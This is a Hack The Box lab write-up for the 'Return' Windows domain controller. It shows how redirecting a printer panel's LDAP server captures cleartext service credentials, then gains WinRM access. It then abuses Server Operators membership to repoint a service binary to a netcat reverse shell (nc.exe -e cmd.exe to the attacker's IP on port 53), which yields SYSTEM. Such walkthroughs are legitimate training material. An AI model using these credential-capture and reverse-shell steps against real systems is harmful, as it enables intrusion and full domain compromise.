Return: LDAP Credential Capture to Server Operators Abuse
Hack The Box write-up for the Return machine. LDAP credential capture via printer admin panel, WinRM access, and privilege escalation abusing the Server Operators group.
Initial Reconnaissance – Port Scanning
The assessment began with an nmap scan using service version detection, host discovery disabled, and aggressive timing against target IP 10.129.95.241. The scan revealed a typical Active Directory Domain Controller profile with DNS (53), Kerberos (88), RPC (135), SMB (139/445), LDAP (389/3268), and WinRM on port 5985. HTTP service (80) running Microsoft IIS suggested a custom web application. LDAP banners confirmed the domain as return.local and hostname as PRINTER.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Domain and hostname were added to /etc/hosts:
10.129.95.241 return.local printer.return.local
DNS Enumeration
A zone transfer attempt against the domain returned REFUSED, yielding no additional DNS records:
$ host -t axfr return.local 10.129.95.241
Host return.local not found: 5(REFUSED)
; Transfer failed.
Web Enumeration – Printer Admin Panel
The web application on port 80 revealed a printer administration panel served by IIS with a settings page displaying LDAP connection configuration. Fields included server address, server port (389), username (svc-printer), and a masked password field. The form submitted POST requests to /settings.php with the ip parameter controlling the LDAP server address.
The significant vulnerability was that the application makes outbound LDAP connections to a user-controlled address, allowing credential interception by redirecting connections to an attacker-controlled endpoint.
Intercepting LDAP Credentials
The ip parameter was modified to point to the attacker machine:
POST /settings.php HTTP/1.1
Host: 10.129.95.241
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
ip=10.10.17.156
Using a netcat listener on port 389, the connection revealed cleartext credentials: return\svc-printer / 1edFg43012!!
Responder capture:
[LDAP] Cleartext Client : 10.129.95.241
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!
The application authenticated to whichever server was specified, leaking service account credentials in cleartext via LDAP simple bind.
Domain Enumeration
SMB Shares
Using netexec to validate credentials and enumerate shares:
$ nxc smb 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!' --shares
SMB 10.129.95.241 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
SMB 10.129.95.241 445 PRINTER [*] Enumerated shares
SMB 10.129.95.241 445 PRINTER Share Permissions Remark
SMB 10.129.95.241 445 PRINTER ----- ----------- ------
SMB 10.129.95.241 445 PRINTER ADMIN$ READ Remote Admin
SMB 10.129.95.241 445 PRINTER C$ READ,WRITE Default share
SMB 10.129.95.241 445 PRINTER IPC$ READ Remote IPC
SMB 10.129.95.241 445 PRINTER NETLOGON READ Logon server share
SMB 10.129.95.241 445 PRINTER SYSVOL READ Logon server share
The svc-printer account had READ,WRITE access to the C$ administrative share, indicating elevated privileges.
LDAP – Users and Groups
LDAP enumeration revealed the domain structure:
$ nxc ldap 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!' --admin-count --users --groups
LDAP 10.129.95.241 389 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
The domain contained only two active accounts besides defaults: Administrator and svc-printer. The (Pwn3d!) flag from netexec indicated significant privileges. Key group memberships included Server Operators with 1 member and Print Operators with 1 member, both abusable for privilege escalation on a Domain Controller.
Initial Access – WinRM
Port 5985 was open and svc-printer was a member of the Remote Management Users group, enabling connection via evil-winrm:
$ evil-winrm -i return.local -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
Shell obtained as svc-printer.
Flag Collection – User Flag
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/2/2026 5:33 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> cat user.txt
413c9b5b6406f09ec313147f5486362b
Privilege Escalation – Abusing Server Operators Group
Enumerating Privileges and Group Memberships
Security context enumeration revealed:
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
================== =============================================
return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
The account was a member of Server Operators (S-1-5-32-549) and held SeBackupPrivilege and SeRestorePrivilege. Server Operators members can start and stop services and modify service configurations, allowing binary path replacement.
Service Binary Path Hijacking via Server Operators
nc.exe was uploaded and the VMTools service was reconfigured:
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe config VMTools binPath="C:\Users\svc-printer\nc.exe -e cmd.exe 10.10.17.156 53"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe stop VMTools
[SC] ControlService FAILED 1062:
The service has not been started.
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe start VMTools
The SYSTEM shell connected on port 53:
$ nc -lnvp 53
listening on [any] 53 ...
connect to [10.10.17.156] from (UNKNOWN) [10.129.95.241] 65502
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Full SYSTEM access was achieved. Port 53 was chosen to mimic DNS traffic, reducing firewall blocking likelihood.
For more reliable shell handling:
*Evil-WinRM* PS C:\Users> sc.exe config VMTools binpath="C:\windows\system32\cmd.exe /c C:\Users\svc-printer\nc.exe -e cmd 10.10.17.156 53"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users> sc.exe start VMTools
Flag Collection – Root Flag
c:\Users\Administrator\Desktop>type root.txt
97d9e942956e86facdf7a37adc60dd32
Both flags were successfully retrieved, confirming full system compromise.